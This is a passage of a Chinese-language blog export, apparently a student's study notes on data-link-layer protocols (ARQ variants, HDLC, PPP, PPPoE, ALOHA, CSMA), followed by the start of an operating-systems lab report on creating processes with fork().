class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eRn=\u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e(\u003cspan class=\"literal\"\u003etrue\u003c/span\u003e){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eWaitForEvent();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(Event(ArrivalNotification)){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eReceiveFrame();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(corrupted(frame)) sleep();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(seqNo == Rn){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eExtractData();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eDeliverData();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eRn = Rn + \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eSendFrame(Rn);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230524212730.png\"/\u003e\u003c/p\u003e\u003cp\u003e由上图可以看出,停止等待ARQ大量浪费了带宽;如果上面的协议中,我们能在发送了15帧后再停止等待,则利用率可以上升到$15000/20000$,即$75%$。同时,在停止等待ARQ中不存在流水线操作,因为单帧发送后存在阻塞操作。\u003c/p\u003e\u003ch4 id=\"回退N帧自动重发请求(Go-Back-N-ARQ)\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E5%9B%9E%E9%80%80N%E5%B8%A7%E8%87%AA%E5%8A%A8%E9%87%8D%E5%8F%91%E8%AF%B7%E6%B1%82%EF%BC%88Go-Back-N-ARQ%EF%BC%89\" class=\"headerlink\" title=\"回退N帧自动重发请求(Go-Back-N ARQ)\"\u003e\u003c/a\u003e回退N帧自动重发请求(Go-Back-N ARQ)\u003c/h4\u003e\u003cp\u003e它是上面的协议应用了流水线原理的版本。最主要的改动就是序列号设计,以及滑动窗口。\u003c/p\u003e\u003cp\u003e假设帧头部允许序列号有$m$位,序列号范围就是0到$2^m-1$。\u003c/p\u003e\u003cp\u003e然后发送方开始发送数据,先发第一帧, 接收方收到,回传ACK1 ,这时有了一个叫做发送方窗口的东西:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230524213723.png\"/\u003e\u003c/p\u003e\u003cp\u003e如上图,帧有四部分:已确认的帧、发送但未确认的帧、能被发送但还没收到上层数据的帧、不能发送的帧(窗口大小以外的帧)。窗口大小在这个协议中是$S_{size}=2^m-1$。还有两个变量$S_f$和$S_n$,分别是第一个待处理的帧、下一个要发送的帧。\u003c/p\u003e\u003cp\u003e当收到确认帧时,发送窗口右划;一个ACK帧可以确认一个以上的帧,这加快了传输效率。但是当第一帧没有收到,之后收到的很多帧都需要作废重传,非常浪费时间。\u003c/p\u003e\u003ch4 id=\"利用率\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E5%88%A9%E7%94%A8%E7%8E%87\" class=\"headerlink\" title=\"利用率\"\u003e\u003c/a\u003e利用率\u003c/h4\u003e\u003cp\u003e各种ARQ协议的利用率计算是一个经常考察的点,其实答案基本很固定。首先是思路,ARQ协议利用率计算时,假设收发时间相等,然后计算所有发送的帧中,数据帧的占比即可得到。\u003c/p\u003e\u003cul\u003e\u003cli\u003e停止等待ARQ:发送一次接收一次:50%\u003c/li\u003e\u003cli\u003e回退N帧ARQ:发送N帧接收一次:(1/N+1)%\u003c/li\u003e\u003cli\u003e选择性重复ARQ:不知道)\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"选择性重复ARQ(Selective-Repeat-ARQ)\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E9%80%89%E6%8B%A9%E6%80%A7%E9%87%8D%E5%A4%8DARQ%EF%BC%88Selective-Repeat-ARQ%EF%BC%89\" class=\"headerlink\" title=\"选择性重复ARQ(Selective Repeat ARQ)\"\u003e\u003c/a\u003e选择性重复ARQ(Selective Repeat ARQ)\u003c/h4\u003e\u003cp\u003e可在一个帧被损坏时,不必重发N个帧。它主要是针对接收方的更改。\u003c/p\u003e\u003ch3 id=\"高级数据链路控制(HDLC)\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E9%AB%98%E7%BA%A7%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E6%8E%A7%E5%88%B6%EF%BC%88HDLC%EF%BC%89\" class=\"headerlink\" title=\"高级数据链路控制(HDLC)\"\u003e\u003c/a\u003e高级数据链路控制(HDLC)\u003c/h3\u003e\u003cp\u003eHDLC(High-level Data Link Control)是一个实际应用的面向比特的数据链路协议,支持点到点链路和多点链路。具体实现了本章讨论的各种ARQ协议。具有两种通用传输模式:\u003c/p\u003e\u003cul\u003e\u003cli\u003en正常响应方式(Normal Response Mode,NRM)\u003c/li\u003e\u003cli\u003en异步平衡方式(Asynchronous Balanced Mode,ABM)\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"Configurations-and-Transfer-Modes-配置和传输方式\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#Configurations-and-Transfer-Modes-%E9%85%8D%E7%BD%AE%E5%92%8C%E4%BC%A0%E8%BE%93%E6%96%B9%E5%BC%8F\" class=\"headerlink\" title=\"Configurations and Transfer Modes 配置和传输方式\"\u003e\u003c/a\u003eConfigurations and Transfer Modes 配置和传输方式\u003c/h4\u003e\u003cp\u003e配置方式有非平衡/平衡两种。第一种是主从配置方式,第二种是对等方式。\u003c/p\u003e\u003col\u003e\u003cli\u003e非平衡配置方式\u003c/li\u003e\u003c/ol\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e主站与从站:一组结点根据在通信过程中的地位分为主站与从站,由主站来控制数据链路的工作过程。主站发出命令,从站接受命令,发出响应,配合主站工作。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e点对点方式与多点方式:分为点对点方式与多点方式两种类型,在多点方式的链路中,主站与每个从站之间分别建立数据链路。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e正常响应模式与异步响应模式:分为正常响应模式与异步响应模式两种数据传输方式。在正常响应模式中,主站可随时向从站传输数据帧。只有在主站向从站发送命令帧探询,从站响应后才可以向主站发送数据帧。在异步响应模式中,主站和从站可以随时相互传输数据帧,从站不需要等待主站发出探询就可以发送数据帧,但是主站仍然负责数据链路的初始化、建立、释放与差错恢复等功能。\u003c/p\u003e\u003c/li\u003e\u003c/ul\u003e\u003col start=\"2\"\u003e\u003cli\u003e平衡配置方式\u003c/li\u003e\u003c/ol\u003e\u003cul\u003e\u003cli\u003e链路两端的两个站都是复合站,复合站同时具有主站与从站的功能,每个复合站都可以发出命令与响应。平衡配置方式只有异步平衡模式一种工作模式,每个复合站都可以发起数据传输,而不需要得到对方的许可。\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"Frames-HDLC的帧格式\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#Frames-HDLC%E7%9A%84%E5%B8%A7%E6%A0%BC%E5%BC%8F\" class=\"headerlink\" title=\"Frames HDLC的帧格式\"\u003e\u003c/a\u003eFrames HDLC的帧格式\u003c/h4\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230612235215.png\"/\u003e\u003c/p\u003e\u003cp\u003e如图所示,上面是三种帧结构,分别是\u003cstrong\u003e信息帧,管理帧,无编号帧\u003c/strong\u003e。它的控制字段如下所示:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230612235430.png\"/\u003e\u003c/p\u003e\u003ch4 id=\"Control-Field-HDLC的帧控制字段\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#Control-Field-HDLC%E7%9A%84%E5%B8%A7%E6%8E%A7%E5%88%B6%E5%AD%97%E6%AE%B5\" class=\"headerlink\" title=\"Control Field HDLC的帧控制字段\"\u003e\u003c/a\u003eControl Field HDLC的帧控制字段\u003c/h4\u003e\u003cp\u003e其中,管理帧的控制字段如下:\u003c/p\u003e\u003cul\u003e\u003cli\u003e准备接收RR,字段标识是00\u003c/li\u003e\u003cli\u003e不准备接收RNR,字段标识是10\u003c/li\u003e\u003cli\u003e拒绝接收REJ,字段标识是01\u003c/li\u003e\u003cli\u003e选择性拒收SREJ,字段标识是11\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e无编号帧的指令和响应更加复杂:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230612235556.png\"/\u003e\u003c/p\u003e\u003cp\u003e一般来讲,HDLC中常用的是对等异步控制模式。这种模式下,链接的建立和拆除如下图所示。使用4个U-frame帧来建立和断开连接。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230612235746.png\"/\u003e\u003c/p\u003e\u003cp\u003e而进行数据通信时,基本使用I-frame信息帧捎带指令。如果发生数据丢失等情况,则未接收到的一方使用S-frame来告知另一方重发。\u003c/p\u003e\u003ch3 id=\"POINT-TO-POINT-PROTOCOL-点到点协议\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#POINT-TO-POINT-PROTOCOL-%E7%82%B9%E5%88%B0%E7%82%B9%E5%8D%8F%E8%AE%AE\" class=\"headerlink\" title=\"POINT-TO-POINT PROTOCOL 点到点协议\"\u003e\u003c/a\u003ePOINT-TO-POINT PROTOCOL 点到点协议\u003c/h3\u003e\u003cp\u003e高级数据链路控制协议是点到点和点到多点都能使用的一个通用协议,但最通用的协议还是点到点协议(Point-to-Point Protocol,PPP),使用面向字节的方式。\u003c/p\u003e\u003cp\u003e它的帧格式如下图所示:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230613000141.png\"/\u003e\u003c/p\u003e\u003cp\u003e特点如下:\u003c/p\u003e\u003cul\u003e\u003cli\u003e简单:不提供可靠传输,无流量控制,无重传机制,网络开销小,速度快\u003c/li\u003e\u003cli\u003e封装成帧:首部和尾部,帧开始符,帧结束符\u003c/li\u003e\u003cli\u003e透明传输:可传输任意比特组合的数据,加转义字符,收到后去掉转义字符\u003c/li\u003e\u003cli\u003e差错检测:CRC计算帧校验序列FCS\u003c/li\u003e\u003cli\u003e支持多种网络层协议:IPv4和IPv6网络层协议都可以封装到PPP帧中\u003c/li\u003e\u003cli\u003e多种类型链路:光纤、铜线,同步传输、异步传输,串行、并行链路均可\u003c/li\u003e\u003cli\u003e最大传送单元:1500字节\u003c/li\u003e\u003cli\u003e网络层地址协商:能够为拨号的一端分配IP地址、子网掩码、网关和DNS\u003c/li\u003e\u003c/ul\u003e\u003cp\u003ePPP是面向字节的协议,通过转义字节01111101进行透明插入和删除。\u003c/p\u003e\u003ch3 id=\"PPPoE协议(PPP-Over-Ethernet)\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#PPPoE%E5%8D%8F%E8%AE%AE%EF%BC%88PPP-Over-Ethernet%EF%BC%89\" class=\"headerlink\" title=\"PPPoE协议(PPP Over Ethernet)\"\u003e\u003c/a\u003ePPPoE协议(PPP Over Ethernet)\u003c/h3\u003e\u003cp\u003e•用于实现PPP在以太网上的传输。\u003cbr/\u003e•是为了满足越来越多的宽带上网设备(如ADSL—最初是静态IP 、无线、有线电视等)和越来越快的网络之间的通信而指定开发的标准,它给出了两个广泛的接受的标准:以太网和PPP拨号协议。\u003cbr/\u003e•PPPoE就是将PPP数据承载到以太网上,实质是在共享介质的网络中提供一条逻辑上的点到点链路(Session ID)。\u003cbr/\u003e•PPPoE主要协议标准:RFC2516\u003c/p\u003e\u003cp\u003e它广泛利用在ADSL接入方式中。通过它,可以实现高速宽带网的个人身份验证访问,为每个用户创建虚拟拨号连接,来高速连接到Internet。\u003c/p\u003e\u003ch2 id=\"Chap-12-多路访问\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#Chap-12-%E5%A4%9A%E8%B7%AF%E8%AE%BF%E9%97%AE\" class=\"headerlink\" title=\"Chap.12.多路访问\"\u003e\u003c/a\u003eChap.12.多路访问\u003c/h2\u003e\u003cp\u003e数据链路层分为\u003cstrong\u003e逻辑链路控制子层LLC\u003c/strong\u003e和\u003cstrong\u003e介质访问控制子层MAC\u003c/strong\u003e。后者的协议可以分为以下几类:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230613000817.png\"/\u003e\u003c/p\u003e\u003ch3 id=\"随机访问协议\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E9%9A%8F%E6%9C%BA%E8%AE%BF%E9%97%AE%E5%8D%8F%E8%AE%AE\" class=\"headerlink\" title=\"随机访问协议\"\u003e\u003c/a\u003e随机访问协议\u003c/h3\u003e\u003cp\u003e没有一个站点是优于其它站点的,也不能控制其它站点。没有站点有权力允许或不允许其它站点发送或不发送数据。有数据要发送的站通过自身的协议决定发送还是不发送数据。\u003c/p\u003e\u003cp\u003e在链路中,为了让多方向的通信不至于冲突,因此有了底下几个协议。\u003c/p\u003e\u003ch4 id=\"ALOHA协议\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#ALOHA%E5%8D%8F%E8%AE%AE\" class=\"headerlink\" title=\"ALOHA协议\"\u003e\u003c/a\u003eALOHA协议\u003c/h4\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230613002735.png\"/\u003e\u003c/p\u003e\u003cp\u003e在这种传输过程中,无冲突相关的计算:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230613003239.png\"/\u003e\u003c/p\u003e\u003cp\u003e它的吞吐量是$S=G\\times e^{-2G}$,当$G=1/2$时,取到最大值$S_{max}=0.184$。\u003c/p\u003e\u003cp\u003e此外,还存在时隙ALOHA:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230613003513.png\"/\u003e\u003c/p\u003e\u003cp\u003e它可能的冲突时间等于帧传播时间。它的\u003c/p\u003e\u003ch4 id=\"CSMA-载波侦听多路访问协议\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#CSMA-%E8%BD%BD%E6%B3%A2%E4%BE%A6%E5%90%AC%E5%A4%9A%E8%B7%AF%E8%AE%BF%E9%97%AE%E5%8D%8F%E8%AE%AE\" class=\"headerlink\" title=\"CSMA-载波侦听多路访问协议\"\u003e\u003c/a\u003eCSMA-载波侦听多路访问协议\u003c/h4\u003e\u003cp\u003e三种坚持型方法的流程如下所示:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230613002540.png\"/\u003e\u003c/p\u003e\u003ch4 id=\"CSMA-x2F-CD-冲突检测CSMA\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#CSMA-x2F-CD-%E5%86%B2%E7%AA%81%E6%A3%80%E6%B5%8BCSMA\" class=\"headerlink\" title=\"CSMA/CD-冲突检测CSMA\"\u003e\u003c/a\u003eCSMA/CD-冲突检测CSMA\u003c/h4\u003e\u003cp\u003e带冲突检测的载波监听多路访问CSMA/CD (Carrier Sense Multiple Access with Collision Detection)规定了冲突处理的算法。\u003c/p\u003e\u003cp\u003e任意站点都可以发送帧,之后监控介质查看传送是否成功。如果成功,站点完成发送;如果不成功,说明存在冲突,需要重新发送此帧。\u003c/p\u003e\u003ch4 id=\"CSMA-x2F-CA-冲突避免CSMA\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#CSMA-x2F-CA-%E5%86%B2%E7%AA%81%E9%81%BF%E5%85%8DCSMA\" class=\"headerlink\" title=\"CSMA/CA-冲突避免CSMA\"\u003e\u003c/a\u003eCSMA/CA-冲突避免CSMA\u003c/h4\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/"},{"title":"操作系统实验报告","time":"2023-05-23T08:02:09Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"实验1:创建进程\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E5%AE%9E%E9%AA%8C1%EF%BC%9A%E5%88%9B%E5%BB%BA%E8%BF%9B%E7%A8%8B\" class=\"headerlink\" title=\"实验1:创建进程\"\u003e\u003c/a\u003e实验1:创建进程\u003c/h2\u003e\u003ch3 id=\"一、实验目标\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%B8%80%E3%80%81%E5%AE%9E%E9%AA%8C%E7%9B%AE%E6%A0%87\" class=\"headerlink\" title=\"一、实验目标\"\u003e\u003c/a\u003e一、实验目标\u003c/h3\u003e\u003col\u003e\u003cli\u003e创建子进程,读取文件\u003c/li\u003e\u003cli\u003e父进程等待子进程完成后再继续执行\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"二、实验过程\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%BA%8C%E3%80%81%E5%AE%9E%E9%AA%8C%E8%BF%87%E7%A8%8B\" class=\"headerlink\" title=\"二、实验过程\"\u003e\u003c/a\u003e二、实验过程\u003c/h3\u003e\u003cp\u003e创建一个\u003ccode\u003emain.c\u003c/code\u003e,并引入头文件\u003ccode\u003eunistd.h\u003c/code\u003e和\u003ccode\u003estdlib.h\u003c/code\u003e以及\u003ccode\u003esys/wait.h\u003c/code\u003e。随后在主程序中调用\u003ccode\u003efork()\u003c/code\u003e创建子进程,并根据函数返回值确定进程类型,并执行相应操作。\u003c/p\u003e\u003cp\u003e如果\u003ccode\u003erc==0\u003c/code\u003e,则当前进程是子进程,使用\u003ccode\u003estdlib.h\u003c/code\u003e提供的I/O函数进行文件创建和写入工作。\u003c/p\u003e\u003cp\u003e如果\u003ccode\u003erc\u0026gt;0\u003c/code\u003e,则当前进程是父进程。调用\u003ccode\u003ewait()\u003c/code\u003e等待子进程结束后再执行即可。\u003c/p\u003e\u003ch3 id=\"三、实验代码\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%B8%89%E3%80%81%E5%AE%9E%E9%AA%8C%E4%BB%A3%E7%A0%81\" class=\"headerlink\" title=\"三、实验代码\"\u003e\u003c/a\u003e三、实验代码\u003c/h3\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e 